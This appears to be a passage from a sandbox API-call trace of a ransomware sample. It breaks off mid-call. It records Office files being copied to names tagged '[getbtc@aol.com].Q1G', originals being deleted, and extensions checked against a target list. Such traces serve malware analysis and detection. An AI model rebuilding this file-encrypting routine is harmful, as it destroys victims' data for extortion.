1 [0245.289] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0245.289] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0245.290] SetEndOfFile (hFile=0x3a0) returned 1 [0245.290] CloseHandle (hObject=0x3a0) returned 1 [0245.290] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.290] SetEndOfFile (hFile=0x3b8) returned 1 [0245.293] CloseHandle (hObject=0x3b8) returned 1 [0245.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1 [0245.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.294] lstrlenW (lpString=".doc") returned 4 [0245.294] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString=".docx") returned 5 [0245.294] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.294] lstrlenW (lpString=".pdf") returned 4 [0245.294] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString=".xls") returned 4 [0245.294] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString=".xlsx") returned 5 [0245.294] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.294] lstrlenW (lpString=".ppt") returned 4 [0245.294] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.294] lstrlenW (lpString=".zip") returned 4 [0245.294] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString=".rar") returned 4 [0245.294] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString=".bz2") returned 4 [0245.294] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.294] lstrlenW (lpString=".7z") returned 3 [0245.294] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.294] lstrlenW (lpString=".dbf") returned 4 [0245.294] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.295] lstrlenW (lpString=".1cd") returned 4 [0245.295] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.295] lstrlenW (lpString=".jpg") returned 4 [0245.295] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.295] lstrlenW (lpString=".doc") returned 4 [0245.295] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString=".docx") returned 5 [0245.295] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.295] lstrlenW (lpString=".pdf") returned 4 [0245.295] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString=".xls") returned 4 [0245.295] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString=".xlsx") returned 5 [0245.295] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.295] lstrlenW (lpString=".ppt") returned 4 [0245.295] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.295] lstrlenW (lpString=".zip") returned 4 [0245.295] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString=".rar") returned 4 [0245.295] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString=".bz2") returned 4 [0245.295] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.295] lstrlenW (lpString=".7z") returned 3 [0245.295] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.296] lstrlenW (lpString=".dbf") returned 4 [0245.296] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.296] lstrlenW (lpString=".1cd") returned 4 [0245.296] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0245.296] lstrlenW (lpString=".jpg") returned 4 [0245.296] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.296] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.296] lstrlenW (lpString="Waveform.eftx") returned 13 [0245.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0245.297] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=112504) returned 1 [0245.297] CloseHandle (hObject=0x3b8) returned 1 [0245.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0245.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0245.297] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.298] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0245.298] GetLastError () returned 0x0 [0245.298] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x1b778, lpOverlapped=0x0) returned 1 [0245.302] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0245.304] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0245.304] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0245.305] SetEndOfFile (hFile=0x3a0) returned 1 [0245.305] CloseHandle (hObject=0x3a0) returned 1 [0245.305] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0245.305] SetEndOfFile (hFile=0x3b8) returned 1 [0245.801] CloseHandle (hObject=0x3b8) returned 1 [0245.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0246.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.548] lstrlenW (lpString=".doc") returned 4 [0246.548] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString=".docx") returned 5 [0246.548] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0246.548] lstrlenW (lpString=".pdf") returned 4 [0246.548] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString=".xls") returned 4 [0246.548] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString=".xlsx") returned 5 [0246.548] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0246.548] lstrlenW (lpString=".ppt") returned 4 [0246.548] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.548] lstrlenW (lpString=".zip") returned 4 [0246.548] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString=".rar") returned 4 [0246.548] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString=".bz2") returned 4 [0246.548] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString=".7z") returned 3 [0246.548] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0246.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.548] lstrlenW (lpString=".dbf") returned 4 [0246.548] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0246.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.548] lstrlenW (lpString=".1cd") returned 4 [0246.548] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString=".jpg") returned 4 [0246.549] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString=".doc") returned 4 [0246.549] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString=".docx") returned 5 [0246.549] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0246.549] lstrlenW (lpString=".pdf") returned 4 [0246.549] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString=".xls") returned 4 [0246.549] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString=".xlsx") returned 5 [0246.549] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0246.549] lstrlenW (lpString=".ppt") returned 4 [0246.549] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString=".zip") returned 4 [0246.549] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString=".rar") returned 4 [0246.549] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString=".bz2") returned 4 [0246.549] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString=".7z") returned 3 [0246.549] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString=".dbf") returned 4 [0246.549] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString=".1cd") returned 4 [0246.549] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0246.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0246.549] lstrlenW (lpString=".jpg") returned 4 [0246.549] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0246.550] lstrcmpiW (lpString1=".MML", lpString2=".Q1G") returned -1 [0246.550] lstrlenW (lpString="OFFICE10.MML") returned 12 [0246.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0246.550] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=312376) returned 1 [0246.550] CloseHandle (hObject=0x390) returned 1 [0246.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0246.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0246.551] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.551] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.730] GetLastError () returned 0x0 [0246.730] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x4c438, lpOverlapped=0x0) returned 1 [0246.779] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x4c440, lpOverlapped=0x0) returned 1 [0246.786] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0246.786] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.786] SetEndOfFile (hFile=0x3a8) returned 1 [0246.786] CloseHandle (hObject=0x3a8) returned 1 [0246.786] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.786] SetEndOfFile (hFile=0x390) returned 1 [0246.834] CloseHandle (hObject=0x390) returned 1 [0246.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1 [0246.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.835] lstrlenW (lpString=".doc") returned 4 [0246.835] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0246.835] lstrlenW (lpString=".docx") returned 5 [0246.835] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0246.835] lstrlenW (lpString=".pdf") returned 4 [0246.835] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0246.835] lstrlenW (lpString=".xls") returned 4 [0246.835] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0246.835] lstrlenW (lpString=".xlsx") returned 5 [0246.835] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0246.835] lstrlenW (lpString=".ppt") returned 4 [0246.835] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0246.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.835] lstrlenW (lpString=".zip") returned 4 [0246.835] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0246.835] lstrlenW (lpString=".rar") returned 4 [0246.835] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0246.836] lstrlenW (lpString=".bz2") returned 4 [0246.836] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0246.836] lstrlenW (lpString=".7z") returned 3 [0246.836] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0246.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.836] lstrlenW (lpString=".dbf") returned 4 [0246.836] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0246.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.836] lstrlenW (lpString=".1cd") returned 4 [0246.836] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0246.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.836] lstrlenW (lpString=".jpg") returned 4 [0246.836] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0246.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.836] lstrlenW (lpString=".doc") returned 4 [0246.836] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0246.836] lstrlenW (lpString=".docx") returned 5 [0246.836] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0246.836] lstrlenW (lpString=".pdf") returned 4 [0246.836] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0246.836] lstrlenW (lpString=".xls") returned 4 [0246.836] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0246.836] lstrlenW (lpString=".xlsx") returned 5 [0246.836] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0246.836] lstrlenW (lpString=".ppt") returned 4 [0246.836] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0246.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.836] lstrlenW (lpString=".zip") returned 4 [0246.836] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0246.836] lstrlenW (lpString=".rar") returned 4 [0246.836] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0246.836] lstrlenW (lpString=".bz2") returned 4 [0246.836] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0246.836] lstrlenW (lpString=".7z") returned 3 [0246.837] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0246.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.837] lstrlenW (lpString=".dbf") returned 4 [0246.837] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0246.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.837] lstrlenW (lpString=".1cd") returned 4 [0246.837] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0246.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0246.837] lstrlenW (lpString=".jpg") returned 4 [0246.837] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0246.837] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0246.837] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0246.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0246.837] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=21424) returned 1 [0246.837] CloseHandle (hObject=0x390) returned 1 [0246.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20 [0246.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.838] lstrlenW (lpString=".doc") returned 4 [0246.838] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.838] lstrlenW (lpString=".docx") returned 5 [0246.838] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0246.838] lstrlenW (lpString=".pdf") returned 4 [0246.838] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.838] lstrlenW (lpString=".xls") returned 4 [0246.838] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.838] lstrlenW (lpString=".xlsx") returned 5 [0246.838] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0246.838] lstrlenW (lpString=".ppt") returned 4 [0246.838] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.838] lstrlenW (lpString=".zip") returned 4 [0246.838] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.838] lstrlenW (lpString=".rar") returned 4 [0246.838] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.838] lstrlenW (lpString=".bz2") returned 4 [0246.838] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.838] lstrlenW (lpString=".7z") returned 3 [0246.838] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.838] lstrlenW (lpString=".dbf") returned 4 [0246.838] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.838] lstrlenW (lpString=".1cd") returned 4 [0246.838] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW 